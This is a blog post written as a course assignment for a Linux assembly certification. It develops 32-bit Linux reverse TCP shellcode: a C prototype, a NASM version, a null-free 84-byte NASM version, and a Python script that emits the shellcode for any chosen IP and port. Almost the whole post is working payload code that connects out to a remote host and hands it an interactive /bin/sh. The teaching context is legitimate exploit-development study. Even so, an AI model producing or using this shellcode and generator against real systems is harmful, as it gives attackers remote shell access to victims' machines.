SLAE-1053

SecurityTube 32-bit Linux Assmbly Expert Course Assignments


Project maintained by johneiser Hosted on GitHub Pages — Theme by mattgraham

<< Go Back

Assignment 2

Create a Shell_Reverse_TCP shellcode


2017-10-09 00:00:00 +0000

As we did with the bind shell, let’s start with a c model:

/* reverse_shell_model.c
 *  - connect to a host, provide shell.
 */

#include <sys/socket.h>	// socket, AF_INET, SOCK_STREAM
#include <unistd.h>	// dup2
#include <netinet/in.h>	// sockaddr, htons, INADDR_ANY
#include <arpa/inet.h>	// inet_addr

int main() {
	int port = 4444;
	const char *host = "0.0.0.0";
	int sockfd;
	struct sockaddr_in sockaddr;

	// Build socket

	sockfd = socket(AF_INET, SOCK_STREAM, 0);

	// Connect socket to host

	sockaddr.sin_family = AF_INET;
	sockaddr.sin_port = htons(port);
	sockaddr.sin_addr.s_addr = inet_addr(host);
	connect(sockfd, (struct sockaddr *) &sockaddr, sizeof(sockaddr));

	// Route i/o through connection

	dup2(sockfd, 0);
	dup2(sockfd, 1);
	dup2(sockfd, 2);

	// Execute /bin/sh

	execve("/bin/sh", 0, 0);

	return 0;
}

The reverse shell seems to be slightly smaller than the bind shell, as we seem to only have 4 syscalls to handle:

The syscalls are nearly identical to those used in the bind shell, with only using connect with remote host and port instead of bind with local host and port. Here is the same functionality in assembly:

; reverse_shell_vanilla.nasm
;  - Connect to a host, provide shell.

global _start

section .text
_start:
        ; int socketcall(int call, unsigned long *args)
        ; int socket(int domain, int type, int protocol)
        ; eax = 0x66 (socketcall)
        ; ebx = 0x1 (socket)
        ; ecx = esp
        ; esp => |0x00000002|0x00000001|0x00000000|
        ;          AF_INET  SOCK_STREAM    null

	push 0x0		; IPPROTO_IP
	push 0x1		; SOCK_STREAM
	push 0x2		; AF_INET
	mov eax, 0x66		; socketcall, 102
	mov ebx, 0x1		; socket, 1
	mov ecx, esp		; args
	int 0x80		; execute
	mov esi, eax		; save sockfd


	; int socketcall(int call, unsigned long *args)
        ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
        ; struct sockaddr_in {short int sin_family, unsigned short int sin_port, struct in_addr sin_addr, 0}
        ; eax = 0x66 (socketcall)
        ; ebx = 0x3 (connect)
        ; ecx = esp
        ; esp => |----------|----------|0x00000018|0x0002|0x115C|0x7f010101|
        ;           sockfd      addr      addrlen  AF_INET  port   ipaddr

	push 0x0101017f		; ipaddr, 127.1.1.1
	push word 0x5c11	; port, 4444
	push word 0x2		; AF_INET
	mov ecx, esp
	push 0x10		; addrlen, 16
	push ecx		; addr
	push esi		; sockfd
	mov eax, 0x66		; socketcall, 102
	mov ebx, 0x3		; connect, 3	
	mov ecx, esp		; args
	int 0x80		; execute


        ; int dup2(int oldfd, int newfd)
        ; eax = 0x3f (dup2)
        ; ebx = connfd
        ; ecx = 0x0

	mov eax, 0x3f		; dup2, 63
	mov ebx, esi		; connfd
	mov ecx, 0x0		; stdin
	int 0x80


        ; int dup2(int oldfd, int newfd)
        ; eax = 0x3f (dup2)
        ; ebx = connfd
        ; ecx = 0x1

	mov eax, 0x3f		; dup2, 63
	mov ebx, esi		; connfd
	mov ecx, 0x1		; stdout
	int 0x80


        ; int dup2(int oldfd, int newfd)
        ; eax = 0x3f (dup2)
        ; ebx = connfd
        ; ecx = 2

	mov eax, 0x3f		; dup2, 63
	mov ebx, esi		; connfd
	mov ecx, 0x2		; stderr
	int 0x80


        ; int execve(const char *filename, char *const argv[], char *const envp[])
        ; eax = 0xb
        ; ebx = [esp +8]
        ; ecx = esp
        ; edx = [esp +4]
        ; esp => |--[esp +8]--|0x00000000|0x2f62696e|0x2f2f7368|0x00000000|
        ;                                    /bin       //sh

	push 0x0
        push 0x68732f2f
        push 0x6e69622f
	mov ebx, esp
	push 0x0
	mov edx, esp
	push ebx
	mov ecx, esp
	mov eax, 0xb
	int 0x80

Again, one might notice that there are a lot of nulls in this shellcode. We can take steps to mitigate this by replacing various null-producing commands. Once complete, the shellcode might look something like this:

; reverse_shell.nasm
;  - Connect to a host, provide shell.

global _start

section .text
_start:
        ; int socketcall(int call, unsigned long *args)
        ; int socket(int domain, int type, int protocol)
        ; eax = 0x66 (socketcall)
        ; ebx = 0x1 (socket)
        ; ecx = esp
        ; esp => |0x00000002|0x00000001|0x00000000|
        ;          AF_INET  SOCK_STREAM    null

	xor eax, eax
	push eax		; IPPROTO_IP
	inc eax
	push eax		; SOCK_STREAM
	mov ebx, eax		; socket, 1
	inc eax
	mov edi, eax
	push eax		; AF_INET
	mov ecx, esp		; args
	mov al, 0x66		; socketcall, 102
	int 0x80		; execute
	mov esi, eax		; save sockfd


	; int socketcall(int call, unsigned long *args)
        ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
        ; struct sockaddr_in {short int sin_family, unsigned short int sin_port, struct in_addr sin_addr, 0}
        ; eax = 0x66 (socketcall)
        ; ebx = 0x3 (connect)
        ; ecx = esp
        ; esp => |----------|----------|0x00000018|0x0002|0x115C|0x7f010101|
        ;           sockfd      addr      addrlen  AF_INET  port   ipaddr

	xor eax, eax
	push 0x0101017f		; ipaddr, 127.1.1.1
	push word 0x5c11	; port, 4444
	push word di		; AF_INET
	mov ecx, esp
	mov al, 0x10
	push eax		; addrlen, 16
	push ecx		; addr
	push esi		; sockfd
	mov al, 0x66		; socketcall, 102
	inc edi
	mov ebx, edi		; connect, 3
	mov ecx, esp		; args
	int 0x80		; execute


        ; int dup2(int oldfd, int newfd)
        ; eax = 0x3f (dup2)
        ; ebx = connfd
        ; ecx = 2, 1, 0

	mov ebx, esi		; connfd
	xor ecx, ecx
	mov cl, 0x2		; stderr
duploop:
	xor eax, eax
	mov al, 0x3f		; dup2, 63
	int 0x80		; execute
	dec ecx
	jns duploop


        ; int execve(const char *filename, char *const argv[], char *const envp[])
        ; eax = 0xb
        ; ebx = [esp +8]
        ; ecx = esp
        ; edx = [esp +4]
        ; esp => |--[esp +8]--|0x00000000|0x2f62696e|0x2f2f7368|0x00000000|
        ;                                    /bin       //sh

	xor ecx, ecx
	push ecx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	push ecx
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 0xb
	int 0x80

While not only removing the nulls, we’ve managed to shrink our shellcode from 124 bytes to 84 bytes!

The last step is to make this shellcode portable, that is to say we need a way to swap out the parameters host and port. I’ve written this generator in python, shown below:

#!/usr/bin/python
# generator.py
#  - Generate reverse tcp shellcode

import sys

if (len(sys.argv) != 3):
	print "Usage: %s <ip> <port>" % sys.argv[0]
	print "\tNote: Ip must avoid nulls"
	print "\tNote: Port must be between 256 and 65535 to avoid nulls"
	sys.exit()

try:
	ip = sys.argv[1]
	ip_parts = ip.split(".")
	if (len(ip_parts) != 4):
		raise ValueError
	for part in ip_parts:
		part_int = int(part)
		if (part_int < 1 or part_int > 255):
			raise ValueError
except ValueError:
	sys.exit("[-] Please enter a valid ip address")

try:
	port = int(sys.argv[2])
	if (port < 256 or port > 65535):
		raise ValueError
except ValueError as e:
	sys.exit("[-] Please enter a valid port")

ip_op = ""
for part in ip_parts:
	part_hex = hex(int(part))[2:]
	if (len(part_hex) == 2):
		ip_op += "\\x"+part_hex
	elif (len(part_hex) == 1):
		ip_op += "\\x0"+part_hex
	else:
		sys.exit("[-] Please enter a valid ip address")

print ip_op

if "00" in ip_op:
	sys.exit("[-] Please enter a valid ip")

port_hex = hex(port)[2:]
if (len(port_hex) == 4):
	port_op = "\\x"+port_hex[0:2]+"\\x"+port_hex[2:4]
elif (len(port_hex) == 3):
	port_op = "\\x0"+port_hex[0]+"\\x"+port_hex[1:3]
else:
	sys.exit("[-] Please enter a valid port")

if "00" in port_op:
	sys.exit("[-] Please enter a valid port")

code = (
"\\x31\\xc0\\x50\\x40\\x50\\x89\\xc3\\x40\\x89\\xc7"
"\\x50\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x89\\xc6\\x31"
"\\xc0\\x68"+ip_op+"\\x66\\x68"+port_op+"\\x66\\x57"
"\\x89\\xe1\\xb0\\x10\\x50\\x51\\x56\\xb0\\x66\\x47"
"\\x89\\xfb\\x89\\xe1\\xcd\\x80\\x89\\xf3\\x31\\xc9"
"\\xb1\\x02\\x31\\xc0\\xb0\\x3f\\xcd\\x80\\x49\\x79"
"\\xf7\\x31\\xc9\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68"
"\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x51\\x89\\xe2\\x53"
"\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
)

len = len(code)/4
print "Shellcode Length: %d" % len
print "\"%s\"" % code

And there you have it - a reverse tcp shellcode and its very own generator. You can find the all the code to this challenge at https://github.com/johneiser/SLAE/tree/master/assignments/Assignment_2.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

<< Go Back